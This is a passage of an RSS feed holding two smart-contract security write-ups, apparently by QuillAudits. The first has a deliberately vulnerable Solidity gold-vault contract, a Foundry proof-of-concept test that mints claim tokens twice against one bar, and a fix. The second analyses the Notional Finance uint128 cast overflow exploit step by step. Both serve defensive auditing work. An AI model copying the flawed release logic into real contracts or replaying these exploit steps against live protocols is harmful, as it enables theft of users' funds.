&quot;@openzeppelin/contracts/token/ERC20/ERC20.sol&quot;;<br><br>/// @notice Minimal illustrative reproduction of the tokenized-gold claim<br>/// token. Not the audited source, and not the real token name.<br>contract ClaimToken is ERC20 {<br>    address public immutable vault;<br><br>    modifier onlyVault() {<br>        require(msg.sender == vault, &quot;ClaimToken: not vault&quot;);<br>        _;<br>    }<br><br>    constructor(address _vault) ERC20(&quot;Vault Gold Claim&quot;, &quot;CLAIM&quot;) {<br>        vault = _vault;<br>    }<br><br>    function mint(address to, uint256 amount) external onlyVault {<br>        _mint(to, amount);<br>    }<br><br>    function burnFrom(address from, uint256 amount) external onlyVault {<br>        _burn(from, amount);<br>    }<br>}</pre><p>src/GoldVaultVulnerable.sol:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.24;<br><br>import {CertificatesNFT} from &quot;./CertificatesNFT.sol&quot;;<br>import {ClaimToken} from &quot;./ClaimToken.sol&quot;;<br>import {VaultTypes} from &quot;./VaultTypes.sol&quot;;<br><br>/// @notice Minimal illustrative reproduction of the vault&#39;s certificate<br>/// lifecycle, including the vulnerable release path described in the<br>/// finding. Not the audited source, trimmed to the mechanics that matter.<br>contract GoldVaultVulnerable {<br>    CertificatesNFT public immutable certNFT;<br>    ClaimToken public immutable claimToken;<br>    address public immutable certifier;<br><br>    uint256 public constant CLAIM_PER_BAR = 1_000e18;<br><br>    mapping(uint256 =&gt; VaultTypes.CertificatePosition) public certificatePositions;<br>    mapping(bytes32 =&gt; bool) public usedCustodyRefs;<br>    mapping(uint256 =&gt; bool) public serialRegistered;<br><br>    modifier onlyCertifier() {<br>        require(msg.sender == certifier, &quot;GoldVault: not certifier&quot;);<br>        _;<br>    }<br><br>    constructor(address _certifier) {<br>        certifier = _certifier;<br>        certNFT = new CertificatesNFT(address(this));<br>        claimToken = new ClaimToken(address(this));<br>    }<br><br>    /// @notice Bar arrival. Strongly validated: certifier-gated, and the<br>    /// custody reference proving the bar arrived can only be used once.<br>    function registerNewBar(address to, uint256 certId, uint256 serial, bytes32 custodyRef)<br>        external<br>        onlyCertifier<br>    {<br>        require(!serialRegistered[serial], &quot;GoldVault: serial already registered&quot;);<br>        require(!usedCustodyRefs[custodyRef], &quot;GoldVault: custody ref already used&quot;);<br>        usedCustodyRefs[custodyRef] = true;<br>        serialRegistered[serial] = true;<br><br>        certNFT.mint(address(this), certId); // certificate stays with the vault while the bar is inside<br>        certificatePositions[certId] =<br>            VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.Vaulted, activeRequestId: 0});<br>        claimToken.mint(to, CLAIM_PER_BAR);<br>    }<br><br>    /// @notice Re-presenting an existing certificate. No certifier check and<br>    /// no custody reference, open to anyone holding a certificate that is<br>    /// currently marked OutsideVault.<br>    function depositCertificate(uint256 certId) external {<br>        require(<br>            certificatePositions[certId].state == VaultTypes.CertificateState.OutsideVault,<br>            &quot;GoldVault: certificate not outside vault&quot;<br>        );<br>        certNFT.transferFrom(msg.sender, address(this), certId);<br>        certificatePositions[certId] =<br>            VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.Vaulted, activeRequestId: 0});<br>        claimToken.mint(msg.sender, CLAIM_PER_BAR);<br>    }<br><br>    /// @notice Physical release. This is the call site the finding is about.<br>    function release(uint256 certId, address recipient) external {<br>        require(<br>            certificatePositions[certId].state == VaultTypes.CertificateState.Vaulted,<br>            &quot;GoldVault: certificate not vaulted&quot;<br>        );<br>        claimToken.burnFrom(msg.sender, CLAIM_PER_BAR);<br><br>        // --- vulnerable: hands a fully valid certificate back instead of retiring it ---<br>        certificatePositions[certId] =<br>            VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});<br>        certNFT.transferFrom(address(this), recipient, certId);<br>    }<br>}</pre><p>test/GoldSoldTwice.t.sol:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.24;<br><br>import {Test, console2} from &quot;forge-std/Test.sol&quot;;<br>import {GoldVaultVulnerable} from &quot;../src/GoldVaultVulnerable.sol&quot;;<br>import {VaultTypes} from &quot;../src/VaultTypes.sol&quot;;<br>import {CertificatesNFT} from &quot;../src/CertificatesNFT.sol&quot;;<br><br>contract GoldSoldTwiceTest is Test {<br>    address certifier = makeAddr(&quot;certifier&quot;);<br>    address customer = makeAddr(&quot;customer&quot;);<br><br>    uint256 constant CERT_ID = 1;<br>    uint256 constant SERIAL = 42;<br>    bytes32 constant CUSTODY_REF = keccak256(&quot;bar-42-arrival&quot;);<br><br>    function test_ReleasedCertificateCanBeRedepositedForFreshClaim() public {<br>        GoldVaultVulnerable vault = new GoldVaultVulnerable(certifier);<br><br>        // One physical bar arrives and is registered. This is the strongly<br>        // validated path: certifier-gated, one-time custody reference.<br>        vm.prank(certifier);<br>        vault.registerNewBar(customer, CERT_ID, SERIAL, CUSTODY_REF);<br>        console2.log(<br>            &quot;bar registered, one time only  | claim balance:&quot;,<br>            vault.claimToken().balanceOf(customer) / 1e18<br>        );<br><br>        assertEq(<br>            vault.claimToken().balanceOf(customer),<br>            vault.CLAIM_PER_BAR(),<br>            &quot;customer should hold 1 bar of claim tokens&quot;<br>        );<br><br>        // Customer redeems: burns claim tokens, takes the physical gold out.<br>        vm.startPrank(customer);<br>        vault.release(CERT_ID, customer);<br>        vm.stopPrank();<br>        console2.log(<br>            &quot;gold released to customer      | claim balance:&quot;,<br>            vault.claimToken().balanceOf(customer) / 1e18<br>        );<br><br>        assertEq(<br>            vault.claimToken().balanceOf(customer),<br>            0,<br>            &quot;claim tokens were burned on release&quot;<br>        );<br>        assertEq(<br>            vault.certNFT().ownerOf(CERT_ID),<br>            customer,<br>            &quot;certificate came back to the customer intact&quot;<br>        );<br>        (VaultTypes.CertificateState state, ) = vault.certificatePositions(<br>            CERT_ID<br>        );<br>        assertEq(<br>            uint8(state),<br>            uint8(VaultTypes.CertificateState.OutsideVault),<br>            &quot;certificate still marked valid&quot;<br>        );<br><br>        // The gold has left the building. The certificate for it has not<br>        // been touched. Hand it straight back in.<br>        vm.startPrank(customer);<br>        vault.certNFT().approve(address(vault), CERT_ID);<br>        vault.depositCertificate(CERT_ID);<br>        vm.stopPrank();<br>        console2.log(<br>            &quot;same certificate redeposited    | claim balance:&quot;,<br>            vault.claimToken().balanceOf(customer) / 1e18<br>        );<br><br>        // Fresh claim tokens, minted against a bar that is no longer in the vault.<br>        assertEq(<br>            vault.claimToken().balanceOf(customer),<br>            vault.CLAIM_PER_BAR(),<br>            &quot;customer minted a second bar of claim tokens against the same, already-withdrawn gold&quot;<br>        );<br>    }<br>}</pre><p>Run it:</p><pre>forge test --match-contract GoldSoldTwiceTest -vv</pre><p>Output:</p><pre><br>Ran 1 test for test/GoldSoldTwice.t.sol:GoldSoldTwiceTest<br>[PASS] test_ReleasedCertificateCanBeRedepositedForFreshClaim() (gas: 3884735)<br>Logs:<br>  bar registered, one time only  | claim balance: 1000<br>  gold released to customer      | claim balance: 0<br>  same certificate redeposited    | claim balance: 1000<br><br>Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.03ms (1.81ms CPU time)<br><br>Ran 1 test suite in 156.98ms (6.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)</pre><p>Look at the claim token balance across those log lines. It goes up to 1,000 when the bar is registered, drops to 0 on release, then climbs back to 1,000, just from handing the same certificate back in. One bar of gold. Two batches of claim tokens.</p><h3>The fix</h3><pre>  certificatePositions[id] =<br>-     VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});<br>-     nft.transferFrom(me, recipient, id);<br>+     VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.None, activeRequestId: 0});<br>+     nft.burn(id);</pre><p>That’s the entire fix. Burn the certificate instead of returning it. No new checks, no new state, both already existed. The only missing piece was calling burn.</p><pre>// src/GoldVaultFixed.sol, patched release()<br>function release(uint256 certId, address recipient) external {<br>    require(<br>        certificatePositions[certId].state == VaultTypes.CertificateState.Vaulted,<br>        &quot;GoldVault: certificate not vaulted&quot;<br>    );<br>    claimToken.burnFrom(msg.sender, CLAIM_PER_BAR);<br><br>    certificatePositions[certId] =<br>        VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.None, activeRequestId: 0});<br>    certNFT.burn(certId);<br>}</pre><h3>Conclusion</h3><p>This bug wasn’t flashy, one function handed back something it should have destroyed, and the fix was already sitting in the code, unused. Most real bugs are like that, a small gap between what a system assumes and what’s actually still true.</p><p><em>Originally published at </em><a href="https://www.quillaudits.com/blog/auditing/eligibility-replay-tokenized-assets"><em>https://www.quillaudits.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fbc17547e5db" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/quill-findings-eligibility-replay-in-tokenized-assets-fbc17547e5db">Quill Findings: Eligibility Replay in Tokenized Assets</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Notional Finance $1.73M Free Collateral Integer Overflow Exploit (Explained)]]></title>
            <link>https://medium.com/coinmonks/notional-finance-1-73m-free-collateral-integer-overflow-exploit-explained-7f2e4eb8aadc?source=rss-777959014b94------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f2e4eb8aadc</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[smart-contract-auditing]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[QuillAudits - Web3 Security ️]]></dc:creator>
            <pubDate>Mon, 14 Sep 2026 14:25:03 GMT</pubDate>
            <atom:updated>2026-09-14T14:25:03.118Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aH94ARjwAAoV_N7Gwm0TNw.png" /></figure><p>On September 3, 2026, roughly $1.73M in DAI and USDC left Notional Finance’s V1 Escrow contract in a single transaction. There was no flash loan, no price oracle manipulation, and no compromised key. The attacker minted a fabricated fCash claim equal to Escrow’s entire live balance and withdrew it as real tokens, using a raw type-narrowing cast in Notional’s collateral valuation code that let a maximally insolvent account report zero debt.</p><h3>Protocol Background</h3><p>Notional Finance V1 represents fixed-rate lending positions as ERC1155 tokens called fCash. Every position is one half of a payer and receiver pair, the payer owes cash at maturity, the receiver is entitled to collect it. Transferring one of these ERC1155 tokens does not move an existing balance. It calls Portfolios.mintfCashPair(), which mints a brand new offsetting pair on the spot, a design built for OTC block trades. That function&#39;s only safeguard is a free collateral check on the payer, computed in Portfolios._freeCollateral() and converted into an ETH value by Escrow.convertBalancesToETH(). The entire system&#39;s solvency rests on that one conversion being correct.</p><h3>Hack Analysis</h3><p>An attacker-controlled helper contract deployed four disposable contracts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1HVMzG0hXB-Rx2Y2iWHNQA.png" /></figure><p>The helper contract then called safeTransferFrom on Notional&#39;s ERC1155 fCash token, which routed into Portfolios.mintfCashPair(). That function creates a new payer and receiver position in a single call and checks free collateral on the payer only, an assumption written directly into the code that the receiver&#39;s position always increases and therefore needs no check of its own.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ckj83Ml1nBMCY8JRz9Ap1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-GveojdoWt8DgfTufOakg.png" /></figure><p>The same account acted as payer twice in a row, first for a notional of 1, then for a notional of 340282366920938463463374607431768211455, the maximum value a uint128 can hold. Combined, the two debts summed to exactly 2¹²⁸, a boundary value chosen with precision rather than brute force.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lU7Zu6KkJn5LvAb40LaXDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B2jQ9UYRI57JU10U8cZ1lA.png" /></figure><p>That combined debt reached Escrow.convertBalancesToETH(), which calls ExchangeRate._convertToETH() to price the payer&#39;s balance in ETH for the solvency check. Inside that function, uint128 absBalance = uint128(balance.abs()) casts the debt with a raw, unchecked cast rather than SafeCast.toUint128(). A value of exactly 2^128 truncates cleanly to 0 in that cast, so the largest debt mathematically possible was read as owing nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a-_ThehlBUTC5cpxv3Lk_A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GZh5o8NiXnjvdqHSUTGY5w.png" /></figure><p>The second disposable contract, 0x84A060Ed81316E6741Af216A099cFea8bCDd3489, the one holding that fabricated 2¹²⁸-1 claim, passed its own free collateral check on the strength of it, even after Notional’s standard haircut, a claim that size dwarfs any real-world debt. It called safeTransferFrom twice more, once with a notional of 69,257,372,677,950,923,155,658 sent to a third contract, 0x265ccfF3673bCAb03867988081cd51bFd919C03C, once with a notional of 1,658,524,864,122 sent to a fourth contract, 0x4a3508C5aC0677325932f3bC786Ae7A1C3e9CAfF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AduKY7XQNyEiLWRPkcgV2A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uRHGGkkH5UJbf3ywnAvFkw.png" /></figure><p>Both calls routed through mintfCashPair() again, so the third contract came away holding a receiver claim exactly equal to Escrow&#39;s real DAI balance, and the contract came away holding a receiver claim exactly equal to Escrow&#39;s real USDC balance.</p><p>In a second transaction, Portfolios.settleMaturedAssets() converted the third contract fabricated claim into a real, internally tracked Escrow cash balance, and Escrow.withdraw() checked that balance, found no offsetting debt, and paid out 69,257.372677950923155658 DAI from Escrow to 0x265ccfF3673bCAb03867988081cd51bFd919C03C, which forwarded the full amount to the attacker&#39;s main address, 0xDaCC235a494750193695A111D715c2ca12b5Ce38, in the same transaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZWx0uc8CwB0HNVbrKw7vsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IngHXAH13aq2FFWH7DYuug.png" /></figure><p>The same transaction repeated the process for the fourth contract, settling its fabricated claim into an Escrow cash balance and paying out 1,658,524.864122 USDC from Escrow to 0x4a3508C5aC0677325932f3bC786Ae7A1C3e9CAfF, which likewise forwarded the full amount to 0xDaCC235a494750193695A111D715c2ca12b5Ce38.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bF9CgoWBT8CWBGbmL5mYMA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OzIWos0fQU01QKsfwIOWTw.png" /></figure><h3>Root Cause</h3><p><strong>The root cause is an unchecked, raw </strong><strong>uint128() cast on a debt balance inside </strong><strong>ExchangeRate._convertToETH(), in place of the reverting </strong><strong>SafeCast.toUint128() used elsewhere in the same file.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FczS92AHBPyBX0gZGAh_3Q.png" /></figure><p>Two things made that cast reachable in the first place. Portfolios.mintfCashPair() checks solvency on the payer only, so a fabricated debt on one account is never caught by a check on the account that actually benefits from it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vcsZ55ipppMHoCxubHG7fw.png" /></figure><p>RiskFramework.sol itself computes the debt correctly, using safe, reverting arithmetic throughout, which meant the attacker had to engineer one exact value rather than exploit sloppy math earlier in the chain. Each factor on its own would have limited the damage, together they turned a single missing bounds check into a full drain.</p><h3>How QuillAudits Smart Contract Audit Could Have Prevented This</h3><p><strong>Type-boundary fuzzing on every narrowing cast.</strong> Fuzzing _convertToETH() and every other raw uint128() or uint256() cast with boundary values, 0, 2^128 minus 1, and 2^128 itself, would have surfaced the exact wrap that zeroed out the payer&#39;s debt.</p><p><strong>Two-sided solvency checks on any function that mints offsetting positions.</strong> A review of mintfCashPair() against the principle that both sides of a newly created payer and receiver pair need verification, not just the side assumed to be taking on risk, would have flagged the one-sided freeCollateral(payer) check as a design gap on its own, independent of the cast bug.</p><p><strong>A project-wide ban on raw narrowing casts in solvency-critical paths.</strong> A lint rule or manual pass flagging every uint128(x) or uint256(x) cast on a value that can carry adversarial input, requiring SafeCast or an explicit bounds check instead, would have caught this specific line even without the fuzzing pass above.</p><h3>Funds Flow After Attack</h3><p>The DAI and USDC withdrawn from Escrow were moved through intermediary wallets and consolidated into a single address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ivFhLCdVGAguAz-jxD6ywA.png" /></figure><p>That address swapped the combined DAI and USDC for approximately 689.2 ETH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tp0oa5gxMB3opEJ910X5KQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TZL54rpWM3yV9ECQx4nrsg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lWictWU1m4sGmlKbUZU4Ew.png" /></figure><p>The ETH was then deposited into Tornado Cash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LVplJsk0xKSpGWtYo8RzEw.png" /></figure><h3>Post-Attack Mitigation</h3><p>At the time of writing, Notional Finance has not published a tweet, statement, or post-mortem addressing this incident, and has not disclosed an official loss figure or confirmed root cause. This section will be updated once the protocol responds.</p><h3>Relevant Addresses and Transactions</h3><p><strong>Attacker EOAs</strong></p><ul><li><a href="https://etherscan.io/address/0xDaCC235a494750193695A111D715c2ca12b5Ce38">0xDaCC235a494750193695A111D715c2ca12b5Ce38</a></li><li><a href="https://etherscan.io/address/0x8aaf01B6F9AcC973274B8718BE4D1C1be10E3be6">0x8aaf01B6F9AcC973274B8718BE4D1C1be10E3be6</a></li><li><a href="https://etherscan.io/address/0xC95496c917A41a394EfdAC3e0882F5903D24De69">0xC95496c917A41a394EfdAC3e0882F5903D24De69</a></li></ul><p><strong>Vulnerable Contracts</strong></p><ul><li>Escrow holds protocol funds and exposes the broken conversion path: <a href="https://etherscan.io/address/0x9abd0b8868546105F6F48298eaDC1D9c82f7f683">0x9abd0b8868546105F6F48298eaDC1D9c82f7f683</a></li><li>Escrow implementation contract, delegatecall target containing ExchangeRate._convertToETH: <a href="https://etherscan.io/address/0x8a134e651432A902041643668940C9a9cD270633">0x8a134e651432A902041643668940C9a9cD270633</a></li><li>Portfolios, mints, and tracks fCash positions: <a href="https://etherscan.io/address/0x0A4721117040ABF319b954aBF13F654505C34920">0x0A4721117040ABF319b954aBF13F654505C34920</a></li></ul><p><strong>Attacker Contracts</strong></p><ul><li><a href="https://etherscan.io/address/0xec434a2f9b7b93aad1bed77d6bc512a75ae90d78">0xec434a2f9b7b93aad1bed77d6bc512a75ae90d78</a></li><li><a href="https://etherscan.io/address/0x5872B67d58CeF954B52dEb8E97f9F614BB12fa3d">0x5872B67d58CeF954B52dEb8E97f9F614BB12fa3d</a></li><li><a href="https://etherscan.io/address/0x84A060Ed81316E6741Af216A099cFea8bCDd3489">0x84A060Ed81316E6741Af216A099cFea8bCDd3489</a></li><li><a href="https://etherscan.io/address/0x265ccfF3673bCAb03867988081cd51bFd919C03C">0x265ccfF3673bCAb03867988081cd51bFd919C03C</a></li><li><a href="https://etherscan.io/address/0x4a3508C5aC0677325932f3bC786Ae7A1C3e9CAfF">0x4a3508C5aC0677325932f3bC786Ae7A1C3e9CAfF</a></li></ul><p><strong>Key Transactions</strong></p><ul><li>Position setup, the two mints that engineered the 2¹²⁸ debt: <a href="https://etherscan.io/tx/0xe1589a19fe742f0d553889214abade69551fe944acffac014c28cc07b325d60a">0xe1589a19fe742f0d553889214abade69551fe944acffac014c28cc07b325d60a</a></li><li>Drain, settlement, and withdrawal of the fabricated claims: <a href="https://etherscan.io/tx/0xc3f3e318f7ab2d0daaba59e6ec901d25d1fe8a89aafe2b2b62e3b9aee1a24efa">0xc3f3e318f7ab2d0daaba59e6ec901d25d1fe8a89aafe2b2b62e3b9aee1a24efa</a></li></ul><h3>Conclusion</h3><p>This was not a flash loan attack and not a price manipulation. It was a single unchecked cast, uint128(balance.abs()), sitting inside a function that turns a debt balance into an ETH-denominated solvency check. Because Notional&#39;s fCash minting function trusted that check completely and only applied it to one side of every new position, an attacker who could engineer one specific number, 2^128, could make the largest possible debt look exactly like zero. Roughly $1.73M in DAI and USDC left Notional&#39;s V1 Escrow contract as a result, swapped to ETH and moved into Tornado Cash. In a system built entirely on solvency checks, the check itself has to be the most carefully verified line in the codebase, because everything downstream believes whatever number it returns.</p><p><strong><em>Original Posted at </em></strong><a href="https://www.quillaudits.com/blog/hack-analysis/notional-finance-integer-overflow-exploit"><strong><em>QuillAudits</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f2e4eb8aadc" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/notional-finance-1-73m-free-collateral-integer-overflow-exploit-explained-7f2e4eb8aadc">Notional Finance $1.73M Free Collateral Integer Overflow Exploit (Explained)</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>